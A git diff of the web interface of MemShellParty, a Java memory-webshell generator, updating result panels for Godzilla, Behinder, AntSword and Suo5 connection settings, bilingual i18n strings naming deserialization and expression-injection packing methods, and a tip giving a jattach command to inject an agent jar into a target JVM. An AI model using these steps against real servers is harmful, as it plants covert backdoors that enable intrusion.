-            <CopyableField
+                  text={(generateResult?.shellToolConfig as BehinderShellToolConfig).pass}
-              label={t("shellToolConfig.customHeader")}
+                  value={(generateResult?.shellToolConfig as BehinderShellToolConfig).pass}
-              text={`${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerValue}`}
+                />
-              value={`${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerValue}`}
+                <CopyableField
-            />
+                  label={t("shellToolConfig.customHeader")}
-          </Fragment>
+                  text={`${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerValue}`}
+                  value={`${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerValue}`}
+                />
+              </>
+            )}
+            {generateResult?.shellConfig.shellTool === "Godzilla" && (
+              <Fragment>
+                <CopyableField
+                  label={t("shellToolConfig.pass")}
+                  text={(generateResult?.shellToolConfig as GodzillaShellToolConfig).pass}
+                  value={(generateResult?.shellToolConfig as GodzillaShellToolConfig).pass}
+                />
+                <CopyableField
+                  label={t("shellToolConfig.key")}
+                  text={(generateResult?.shellToolConfig as GodzillaShellToolConfig).key}
+                  value={(generateResult?.shellToolConfig as GodzillaShellToolConfig).key}
+                />
+                <CopyableField label={t("shellToolConfig.godzillaPayload")} text="JavaDynamicPayload" />
+                <CopyableField label={t("shellToolConfig.godzillaEncryptor")} text="JAVA_AES_BASE64" />
+                <CopyableField
+                  label={t("shellToolConfig.godzillaHeader")}
+                  text={`${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerValue}`}
+                  value={`${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerValue}`}
+                />
+              </Fragment>
+            )}
+            {generateResult?.shellConfig.shellTool === "Command" && (
+              <Fragment>
+                <CopyableField
+                  label={t("shellToolConfig.paramName")}
+                  text={(generateResult?.shellToolConfig as CommandShellToolConfig).paramName}
+                  value={(generateResult?.shellToolConfig as CommandShellToolConfig).paramName}
+                />
+              </Fragment>
+            )}
+            {generateResult?.shellConfig.shellTool === "Suo5" && (
+              <Fragment>
+                <CopyableField
+                  label={t("shellToolConfig.suo5Header")}
+                  text={`${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerValue}`}
+                  value={`${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerValue}`}
+                />
+              </Fragment>
+            )}
+            {generateResult?.shellConfig.shellTool === "AntSword" && (
+              <Fragment>
+                <CopyableField
+                  label={t("shellToolConfig.antSwordPass")}
+                  text={(generateResult?.shellToolConfig as AntSwordShellToolConfig).pass}
+                  value={(generateResult?.shellToolConfig as AntSwordShellToolConfig).pass}
+                />
+                <CopyableField
+                  label={t("shellToolConfig.httpHeader")}
+                  text={`${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerValue}`}
+                  value={`${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerValue}`}
+                />
+              </Fragment>
+            )}
+          </div>
         )}
-        {generateResult?.shellConfig.shellTool === "Godzilla" && (
+        <Separator className="my-2" />
-          <Fragment>
+        <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
-            <CopyableField
+          <CopyableField
-              label={t("shellToolConfig.pass")}
+            label={t("mainConfig.injectorClassName")}
-              text={(generateResult?.shellToolConfig as GodzillaShellToolConfig).pass}
+            value={generateResult?.injectorClassName}
-              value={(generateResult?.shellToolConfig as GodzillaShellToolConfig).pass}
+            text={`${generateResult?.injectorClassName} (${generateResult?.injectorSize} bytes)`}
-            />
+          />
-            <CopyableField
+          <CopyableField
-              label={t("shellToolConfig.key")}
+            label={t("mainConfig.shellClassName")}
-              text={(generateResult?.shellToolConfig as GodzillaShellToolConfig).key}
+            value={generateResult?.shellClassName}
-              value={(generateResult?.shellToolConfig as GodzillaShellToolConfig).key}
+            text={`${generateResult?.shellClassName} (${generateResult?.shellSize} bytes)`}
-            />
+          />
-            <CopyableField label={t("shellToolConfig.godzillaPayload")} text="JavaDynamicPayload" />
+        </div>
-            <CopyableField label={t("shellToolConfig.godzillaEncryptor")} text="JAVA_AES_BASE64" />
-            <CopyableField
-              label={t("shellToolConfig.godzillaHeader")}
-              text={`${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerValue}`}
-              value={`${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerValue}`}
-            />
-          </Fragment>
-        )}
-        {generateResult?.shellConfig.shellTool === "Command" && (
-          <Fragment>
-            <CopyableField
-              label={t("shellToolConfig.paramName")}
-              text={(generateResult?.shellToolConfig as CommandShellToolConfig).paramName}
-              value={(generateResult?.shellToolConfig as CommandShellToolConfig).paramName}
-            />
-          </Fragment>
-        )}
-        {generateResult?.shellConfig.shellTool === "Suo5" && (
-          <Fragment>
-            <CopyableField
-              label={t("shellToolConfig.suo5Header")}
-              text={`${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerValue}`}
-              value={`${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerValue}`}
-            />
-          </Fragment>
-        )}
-        {generateResult?.shellConfig.shellTool === "AntSword" && (
-          <Fragment>
-            <CopyableField
-              label={t("shellToolConfig.antSwordPass")}
-              text={(generateResult?.shellToolConfig as AntSwordShellToolConfig).pass}
-              value={(generateResult?.shellToolConfig as AntSwordShellToolConfig).pass}
-            />
-            <CopyableField
-              label={t("shellToolConfig.httpHeader")}
-              text={`${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerValue}`}
-              value={`${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerValue}`}
-            />
-          </Fragment>
-        )}
-        <CopyableField
-          label={t("mainConfig.injectorClassName")}
-          value={generateResult?.injectorClassName}
-          text={`${generateResult?.injectorClassName} (${generateResult?.injectorSize} bytes)`}
-        />
-        <CopyableField
-          label={t("mainConfig.shellClassName")}
-          value={generateResult?.shellClassName}
-          text={`${generateResult?.shellClassName} (${generateResult?.shellSize} bytes)`}
-        />
       </CardContent>
     </Card>
   );
@@ -262,6 +280,14 @@ function MultiPackResult({
   const packMethods = Object.keys(allPackResults ?? {});
   const [selectedMethod, setSelectedMethod] = useState(packMethods[0]);
   const [packResult, setPackResult] = useState(allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? "");
+
+  useEffect(() => {
+    const methods = Object.keys(allPackResults ?? {});
+    const firstMethod = methods[0];
+    setSelectedMethod(firstMethod);
+    setPackResult(allPackResults?.[firstMethod as keyof typeof allPackResults] ?? "");
+  }, [allPackResults]);
+
   return (
     <Fragment>
       <CodeViewer

web/src/i18n/en.json

@@ -1,115 +1,130 @@
 {
-  "download": "Downlaod",
+  "basicInfo": {
-  "feedback": "Feedback",
+    "classInfo": "ShellClass",
-  "cancel": "Cancel",
+    "serverInfo": "TargetServer",
-  "placeholders": {
+    "toolInfo": "ShellTool"
-    "select": "Please select",
-    "input": "Please input"
-  },
-  "configs": {
-    "main-config": "Main Config",
-    "package-config": "Package Config"
-  },
-  "optional": "(Optional)",
-  "mainConfig": {
-    "server": "Target Server",
-    "jre": "Target JRE Version",
-    "debug": "Debug Mode",
-    "bypassJavaModule": "Bypass Java Module",
-    "shellMountType": "Shell Mount Type",
-    "shellTool": "Shell Tool",
-    "urlPattern": "URL Pattern",
-    "shellClassName": "Shell ClassName",
-    "injectorClassName": "Injector ClassName"
-  },
-  "shellToolConfig": {
-    "godzilla": "Godzilla",
-    "behinder": "Behinder",
-    "command": "Command",
-    "customHeader": "Custom Header",
-    "headerName": "Header Name",
-    "headerValue": "Header Value",
-    "pass": "Pass",
-    "key": "Key",
-    "godzillaHeader": "Request Config -> Request Header",
-    "godzillaPayload": "Payload",
-    "godzillaEncryptor": "Encryptor",
-    "behinderPass": "Pass",
-    "behinderScriptType": "Script Type",
-    "behinderEncryptType": "Encrypt Type",
-    "behinderDefaultEncryptType": "Default",
-    "paramName": "Param Name",
-    "suo5Header": "AdvanceConfiguration -> Request Header",
-    "antSwordPass": "Shell pwd",
-    "httpHeader": "HTTP -> HTTP HEADERS"
-  },
-  "packageConfig": {
-    "title": "Package Method",
-    "packer": {
-      "Base64": "Base64",
-      "GzipBase64": "GzipBase64",
-      "BCEL": "BCEL",
-      "JSP": "JSP",
-      "Jar": "Jar",
-      "EL": "EL",
-      "SpEL": "SpEL",
-      "OGNL": "OGNL",
-      "MVEL": "MVEL",
-      "Freemarker": "Freemarker",
-      "Velocity": "Velocity",
-      "Groovy": "Groovy",
-      "AgentJar": "AgentJar",
-      "JavaDeserialize": "JavaDeserialize",
-      "ScriptEngine": "ScriptEngine",
-      "XxlJob": "XXL-JOB Executor",
-      "JinJava": "JinJava",
-      "Aviator": "Aviator",
-      "JXPath": "JXPath",
-      "JEXL": "JEXL",
-      "Rhino": "Rhino",
-      "BeanShell": "BeanShell"
-    }
-  },
-  "tips": {
-    "shellToolNotSelected": "Please select a shell tool type first",
-    "targetServerNotFound": "Target server not found?",
-    "waitingForGeneration": "// Waiting for generation...",
-    "targetServerRequest": "Request",
-    "servletUrlPattern": "Servlet type requires a specific URL Pattern, e.g., /hello_servlet",
-    "controllerUrlPattern": "ControllerHandler type requires a specific URL Pattern, e.g., /hello_controller",
-    "handlerUrlPattern": "HandlerMethod/HandlerFunction type requires a specific URL Pattern, e.g., /hello_handler",
-    "jreTip": "Target JRE version, generally speaking, Java 6 is the default version for maximum compatibility, and Java high versions can load low version bytecode.",
-    "jreTip2": "In specific cases, such as JDK8 being able to use lambda expressions, and JDK9 and above having module restrictions, a specific version is required.",
-    "decompileTip": "Decompilation is still under development, so the current only sees the base64 encoding format",
-    "shellBytesEmpty": "Shell bytes is empty, please generate shell first"
-  },
-  "quickUsage": {
-    "title": "Quick Usage",
-    "step1": "Select Target Server",
-    "step2": "Select Shell Tool, Godzilla, Behinder, etc.",
-    "step3": "Select Shell Mount Type, Filter, Listener, etc.",
-    "step4": "Select Packing Method",
-    "step5": "Click Generate Shell"
-  },
-  "generateResult": {
-    "basicInfo": "Basic Info",
-    "usage": "Usage",
-    "title1": "Generate Result",
-    "title2": "Shell Class",
-    "title3": "Injector Class"
-  },
-  "shellNotWork": {
-    "title": "Shell Not Work ？",
-    "step1": "1. Try to enable the debug mode, regenerate the memory shell and inject it, check the console or log",
-    "step2": "2. If an exception stack trace is displayed, or no exception is seen, please take a screenshot of the current generation interface and the exception log, and describe the target environment as much as possible for feedback"
   },
   "buttons": {
     "generate": "Generate Shell"
   },
+  "cancel": "Cancel",
+  "configs": {
+    "main-config": "Main Config",
+    "package-config": "Package Config"
+  },
+  "copyLabelSuccess": "Copy {{label}} successfully",
+  "copySuccess": "Copy successfully",
+  "download": "Downlaod",
+  "errors": {
+    "generationFailed": "Generation failed, {{error}}"
+  },
+  "feedback": "Feedback",
+  "generateResult": {
+    "basicInfo": "Basic Info",
+    "title1": "Generate Result",
+    "title2": "Shell Class",
+    "title3": "Injector Class",
+    "usage": "Usage"
+  },
+  "loading": "Loading...",
+  "mainConfig": {
+    "bypassJavaModule": "Bypass Java Module",
+    "debug": "Debug Mode",
+    "injectorClassName": "Injector ClassName",
+    "jre": "Target JRE Version",
+    "server": "Target Server",
+    "shellClassName": "Shell ClassName",
+    "shellMountType": "Shell Mount Type",
+    "shellTool": "Shell Tool",
+    "urlPattern": "URL Pattern"
+  },
+  "optional": "(Optional)",
+  "packageConfig": {
+    "packer": {
+      "AgentJar": "AgentJar",
+      "Aviator": "Aviator",
+      "BCEL": "BCEL",
+      "Base64": "Base64",
+      "BeanShell": "BeanShell",
+      "EL": "EL",
+      "Freemarker": "Freemarker",
+      "Groovy": "Groovy",
+      "GzipBase64": "GzipBase64",
+      "Hessian2Deserialize": "Hessian2Deserialize",
+      "HessianDeserialize": "HessianDeserialize",
+      "JEXL": "JEXL",
+      "JSP": "JSP",
+      "JXPath": "JXPath",
+      "Jar": "Jar",
+      "JavaDeserialize": "JavaDeserialize",
+      "JinJava": "JinJava",
+      "MVEL": "MVEL",
+      "OGNL": "OGNL",
+      "Rhino": "Rhino",
+      "ScriptEngine": "ScriptEngine",
+      "SpEL": "SpEL",
+      "Velocity": "Velocity",
+      "XxlJob": "XXL-JOB Executor"
+    },
+    "title": "Package Method"
+  },
+  "placeholders": {
+    "input": "Please input",
+    "select": "Please select"
+  },
+  "quickUsage": {
+    "step1": "Select Target Server",
+    "step2": "Select Shell Tool, Godzilla, Behinder, etc.",
+    "step3": "Select Shell Mount Type, Filter, Listener, etc.",
+    "step4": "Select Packing Method",
+    "step5": "Click Generate Shell",
+    "title": "Quick Usage"
+  },
+  "shellNotWork": {
+    "step1": "1. Try to enable the debug mode, regenerate the memory shell and inject it, check the console or log",
+    "step2": "2. If an exception stack trace is displayed, or no exception is seen, please take a screenshot of the current generation interface and the exception log, and describe the target environment as much as possible for feedback",
+    "title": "Shell Not Work ？"
+  },
+  "shellToolConfig": {
+    "antSwordPass": "Shell pwd",
+    "behinder": "Behinder",
+    "behinderDefaultEncryptType": "Default",
+    "behinderEncryptType": "Encrypt Type",
+    "behinderPass": "Pass",
+    "behinderScriptType": "Script Type",
+    "command": "Command",
+    "customHeader": "Custom Header",
+    "godzilla": "Godzilla",
+    "godzillaEncryptor": "Encryptor",
+    "godzillaHeader": "Request Config -> Request Header",
+    "godzillaPayload": "Payload",
+    "headerName": "Header Name",
+    "headerValue": "Header Value",
+    "httpHeader": "HTTP -> HTTP HEADERS",
+    "key": "Key",
+    "paramName": "Param Name",
+    "pass": "Pass",
+    "suo5Header": "AdvanceConfiguration -> Request Header"
+  },
   "success": {
     "generated": "Generation successful"
   },
-  "errors": {
+  "tips": {
-    "generationFailed": "Generation failed, {{error}}"
+    "controllerUrlPattern": "ControllerHandler type requires a specific URL Pattern, e.g., /hello_controller",
+    "decompileTip": "Decompilation is still under development, so the current only sees the base64 encoding format",
+    "download-jattach": "Download the Jattach tool (consider it directly encapsulated in Jar later)",
+    "execute-command": "Execute the command to inject: /path/to/jattach pid load instrument false /path/to/agent.jar",
+    "get-pid": "Get the process pid of the target jvm (use jps or ps)",
+    "handlerUrlPattern": "HandlerMethod/HandlerFunction type requires a specific URL Pattern, e.g., /hello_handler",
+    "jreTip": "Target JRE version, generally speaking, Java 6 is the default version for maximum compatibility, and Java high versions can load low version bytecode.",
+    "jreTip2": "In specific cases, such as JDK8 being able to use lambda expressions, and JDK9 and above having module restrictions, a specific version is required.",
+    "move-to-container": "Move MemShellAgent.jar and jattach to the container (if the test environment uses a container deployment)",
+    "servletUrlPattern": "Servlet type requires a specific URL Pattern, e.g., /hello_servlet",
+    "shellBytesEmpty": "Shell bytes is empty, please generate shell first",
+    "shellToolNotSelected": "Please select a shell tool type first",
+    "targetServerNotFound": "Target server not found?",
+    "targetServerRequest": "Request",
+    "try-to-use-shell": "Try to use the memory shell",
+    "waitingForGeneration": "// Waiting for generation..."
   }
 }

web/src/i18n/zh-CN.json

@@ -1,104 +1,130 @@
 {
-  "download": "下载",
+  "basicInfo": {
-  "feedback": "反馈",
+    "classInfo": "内存马类信息",
-  "cancel": "取消",
+    "serverInfo": "目标服务信息",
-  "placeholders": {
+    "toolInfo": "内存马工具信息"
-    "select": "请选择",
-    "input": "请输入"
-  },
-  "configs": {
-    "main-config": "核心配置",
-    "package-config": "打包配置"
-  },
-  "optional": "(可选)",
-  "mainConfig": {
-    "server": "目标服务",
-    "jre": "目标 JRE 版本",
-    "debug": "调试模式",
-    "bypassJavaModule": "绕过 Java 模块限制",
-    "shellMountType": "内存马挂载类型",
-    "shellTool": "内存马功能",
-    "urlPattern": "请求路径",
-    "shellClassName": "内存马类名",
-    "injectorClassName": "注入器类名"
-  },
-  "shellToolConfig": {
-    "godzilla": "哥斯拉",
-    "behinder": "冰蝎",
-    "command": "命令回显",
-    "customHeader": "自定义请求头",
-    "headerName": "请求头键",
-    "headerValue": "请求头值",
-    "pass": "密码",
-    "key": "密钥",
-    "godzillaPayload": "有效载荷",
-    "godzillaEncryptor": "加密器",
-    "godzillaHeader": "请求配置 -> 请求头",
-    "behinderPass": "连接密码",
-    "behinderScriptType": "脚本类型",
-    "behinderEncryptType": "加密类型",
-    "behinderDefaultEncryptType": "默认",
-    "paramName": "请求参数",
-    "suo5Header": "高级配置 -> 请求头",
-    "antSwordPass": "连接密码",
-    "httpHeader": "请求信息 -> HTTP HEADERS"
-  },
-  "packageConfig": {
-    "title": "打包方式",
-    "packer": {
-      "EL": "EL 表达式",
-      "SpEL": "SpEL 表达式",
-      "OGNL": "OGNL 表达式",
-      "MVEL": "MVEL 表达式",
-      "JEXL": "JEXL 表达式",
-      "BeanShell": "BeanShell 表达式",
-      "Aviator": "Aviator 表达式",
-      "JXPath": "JXPath 表达式",
-      "JavaDeserialize": "Java反序列化",
-      "ScriptEngine": "内置脚本引擎",
-      "Rhino": "Rhino 脚本引擎"
-    }
-  },
-  "tips": {
-    "shellToolNotSelected": "请先选择内存马工具类型",
-    "targetServerNotFound": "找不到目标服务 ？",
-    "targetServerRequest": "请求适配",
-    "waitingForGeneration": "// 等待填写参数生成中...",
-    "servletUrlPattern": "Servlet 类型的需要填写具体的 URL Pattern，例如 /hello_servlet",
-    "controllerUrlPattern": "ControllerHandler 类型的需要填写具体的 URL Pattern，例如 /hello_controller",
-    "handlerUrlPattern": "HandlerMethod/HandlerFunction 类型的需要填写具体的 URL Pattern，例如 /hello_handler",
-    "jreTip": "目标 JRE 版本，一般而言为了最大的兼容性，默认 Java 6 即可，Java 高版本能加载低版本的字节码。",
-    "jreTip2": "特定情况下，例如 JDK8 才能使用 lambda 表达式，JDK9 以上存在模块限制时才需要选择特定的版本。",
-    "decompileTip": "反编译还在开发中，因此当前仅能看到 base64 编码格式",
-    "shellBytesEmpty": "内存马字节码为空，无法下载, 请先生成内存马"
-  },
-  "quickUsage": {
-    "title": "快速使用",
-    "step1": "选择目标服务",
-    "step2": "选择内存马功能，Godzilla、Behinder 或者其他",
-    "step3": "选择内存马挂载类型，Filter、Listener 或者其他",
-    "step4": "选择打包方式",
-    "step5": "点击生成内存马"
-  },
-  "generateResult": {
-    "basicInfo": "基本信息",
-    "usage": "使用方法",
-    "title1": "生成结果",
-    "title2": "内存马类",
-    "title3": "注入器类"
-  },
-  "shellNotWork": {
-    "title": "内存马利用失败 ？",
-    "step1": "1. 尝试开启调试模式，重新生成内存马并注入，查看控制台或日志",
-    "step2": "2. 如果出现异常堆栈信息，或未见异常，请截图当前生成界面以及异常日志，并尽可能描述目标环境进行反馈"
   },
   "buttons": {
     "generate": "生成内存马"
   },
+  "cancel": "取消",
+  "configs": {
+    "main-config": "核心配置",
+    "package-config": "打包配置"
+  },
+  "copyLabelSuccess": "复制 {{label}} 成功",
+  "copySuccess": "复制成功",
+  "download": "下载",
+  "errors": {
+    "generationFailed": "生成失败，{{error}}"
+  },
+  "feedback": "反馈",
+  "generateResult": {
+    "basicInfo": "基本信息",
+    "title1": "生成结果",
+    "title2": "内存马类",
+    "title3": "注入器类",
+    "usage": "使用方法"
+  },
+  "loading": "加载中...",
+  "mainConfig": {
+    "bypassJavaModule": "绕过 Java 模块限制",
+    "debug": "调试模式",
+    "injectorClassName": "注入器类名",
+    "jre": "目标 JRE 版本",
+    "server": "目标服务",
+    "shellClassName": "内存马类名",
+    "shellMountType": "内存马挂载类型",
+    "shellTool": "内存马功能",
+    "urlPattern": "请求路径"
+  },
+  "optional": "(可选)",
+  "packageConfig": {
+    "packer": {
+      "AgentJar": "AgentJar",
+      "Aviator": "Aviator 表达式",
+      "BCEL": "BCEL",
+      "Base64": "Base64",
+      "BeanShell": "BeanShell 表达式",
+      "EL": "EL 表达式",
+      "Freemarker": "Freemarker",
+      "Groovy": "Groovy",
+      "GzipBase64": "GzipBase64",
+      "Hessian2Deserialize": "Hessian2 反序列化",
+      "HessianDeserialize": "Hessian 反序列化",
+      "JEXL": "JEXL 表达式",
+      "JSP": "JSP",
+      "JXPath": "JXPath 表达式",
+      "Jar": "Jar",
+      "JavaDeserialize": "Java 反序列化",
+      "JinJava": "JinJava",
+      "MVEL": "MVEL 表达式",
+      "OGNL": "OGNL 表达式",
+      "Rhino": "Rhino 脚本引擎",
+      "ScriptEngine": "内置脚本引擎",
+      "SpEL": "SpEL 表达式",
+      "Velocity": "Velocity",
+      "XxlJob": "XXL-JOB Executor"
+    },
+    "title": "打包方式"
+  },
+  "placeholders": {
+    "input": "请输入",
+    "select": "请选择"
+  },
+  "quickUsage": {
+    "step1": "选择目标服务",
+    "step2": "选择内存马功能，Godzilla、Behinder 或者其他",
+    "step3": "选择内存马挂载类型，Filter、Listener 或者其他",
+    "step4": "选择打包方式",
+    "step5": "点击生成内存马",
+    "title": "快速使用"
+  },
+  "shellNotWork": {
+    "step1": "1. 尝试开启调试模式，重新生成内存马并注入，查看控制台或日志",
+    "step2": "2. 如果出现异常堆栈信息，或未见异常，请截图当前生成界面以及异常日志，并尽可能描述目标环境进行反馈",
+    "title": "内存马利用失败 ？"
+  },
+  "shellToolConfig": {
+    "antSwordPass": "连接密码",
+    "behinder": "冰蝎",
+    "behinderDefaultEncryptType": "默认",
+    "behinderEncryptType": "加密类型",
+    "behinderPass": "连接密码",
+    "behinderScriptType": "脚本类型",
+    "command": "命令回显",
+    "customHeader": "自定义请求头",
+    "godzilla": "哥斯拉",
+    "godzillaEncryptor": "加密器",
+    "godzillaHeader": "请求配置 -> 请求头",
+    "godzillaPayload": "有效载荷",
+    "headerName": "请求头键",
+    "headerValue": "请求头值",
+    "httpHeader": "请求信息 -> HTTP HEADERS",
+    "key": "密钥",
+    "paramName": "请求参数",
+    "pass": "密码",
+    "suo5Header": "高级配置 -> 请求头"
+  },
   "success": {
     "generated": "生成成功"
   },
-  "errors": {
+  "tips": {
-    "generationFailed": "生成失败，{{error}}"
+    "controllerUrlPattern": "ControllerHandler 类型的需要填写具体的 URL Pattern，例如 /hello_controller",
+    "decompileTip": "反编译还在开发中，因此当前仅能看到 base64 编码格式",
+    "download-jattach": "下载 Jattach 工具（后期考虑直接封装在 Jar 中）",
+    "execute-command": "执行命令进行注入：/path/to/jattach pid load instrument false /path/to/agent.jar",
+    "get-pid": "获取目标 jvm 的进程 pid （使用 jps 或 ps）",
+    "handlerUrlPattern": "HandlerMethod/HandlerFunction 类型的需要填写具体的 URL Pattern，例如 /hello_handler",
+    "jreTip": "目标 JRE 版本，一般而言为了最大的兼容性，默认 Java 6 即可，Java 高版本能加载低版本的字节码。",
+    "jreTip2": "特定情况下，例如 JDK8 才能使用 lambda 表达式，JDK9 以上存在模块限制时才需要选择特定的版本。",
+    "move-to-container": "将 MemShellAgent.jar 和 jattach 移动到容器中（如果测试环境使用容器部署）",
+    "servletUrlPattern": "Servlet 类型的需要填写具体的 URL Pattern，例如 /hello_servlet",
+    "shellBytesEmpty": "内存马字节码为空，无法下载, 请先生成内存马",
+    "shellToolNotSelected": "请先选择内存马工具类型",
+    "targetServerNotFound": "找不到目标服务 ？",
+    "targetServerRequest": "请求适配",
+    "try-to-use-shell": "尝试利用内存马",
+    "waitingForGeneration": "// 等待填写参数生成中..."
   }
 }

web/src/index.css

@@ -103,3 +103,39 @@
     @apply bg-background text-foreground;
   }
 }
+
+.tabs-list-container {
+  @apply relative;
+
+  /* Add fade effect for overflow indication */
+  &::after {
+    content: "";
+    @apply absolute right-0 top-0 h-full w-8 
+           bg-gradient-to-l from-background to-transparent
+           pointer-events-none
+           md:hidden;
+  }
+}
+
+/* Custom scrollbar for tabs list */
+.tabs-list {
+  @apply pb-0.5 overflow-x-auto;
+  scrollbar-width: thin;
+}
+
+.tabs-list::-webkit-scrollbar {
+  @apply h-1.5 w-1.5;
+}
+
+.tabs-list::-webkit-scrollbar-track {
+  @apply bg-transparent;
+}
+
+.tabs-list::-webkit-scrollbar-thumb {
+  @apply bg-muted-foreground/20 hover:bg-muted-foreground/30 rounded-full;
+}
+
+/* Ensure tab triggers have consistent sizing */
+.tab-trigger {
+  @apply whitespace-nowrap text-sm;
+}

web/src/routes/__root.tsx

@@ -15,12 +15,12 @@ function RootComponent() {
     <ThemeProvider defaultTheme="system" storageKey="vite-ui-theme">
       <Toaster />
       <div className="flex flex-col h-screen">
-        <header className="sticky top-0 z-50 border-b bg-background px-4 py-3">
+        <header className="sticky top-0 z-50 border-b bg-background px-2 sm:px-4 py-2 sm:py-3">
           <div className="flex items-center justify-between">
             <div className="flex items-center">
-              <h2 className="text-lg font-semibold">MemShellParty - JavaWeb</h2>
+              <h2 className="text-base sm:text-lg font-semibold truncate">MemShellParty - JavaWeb</h2>
             </div>
-            <div className="flex gap-1 mr-4">
+            <div className="flex items-center gap-0.5 sm:gap-1">
               <VersionBadge />
               <LanguageSwitcher />
               <Button

web/tailwind.config.js

@@ -1,3 +1,5 @@
+import scrollbar from "tailwind-scrollbar";
+
 /** @type {import('tailwindcss').Config} */
 export default {
   darkMode: ["class"],
@@ -63,5 +65,5 @@ export default {
       },
     },
   },
-  plugins: [import("tailwindcss-animate")],
+  plugins: [import("tailwindcss-animate"), scrollbar({ nocompatible: true })],
 };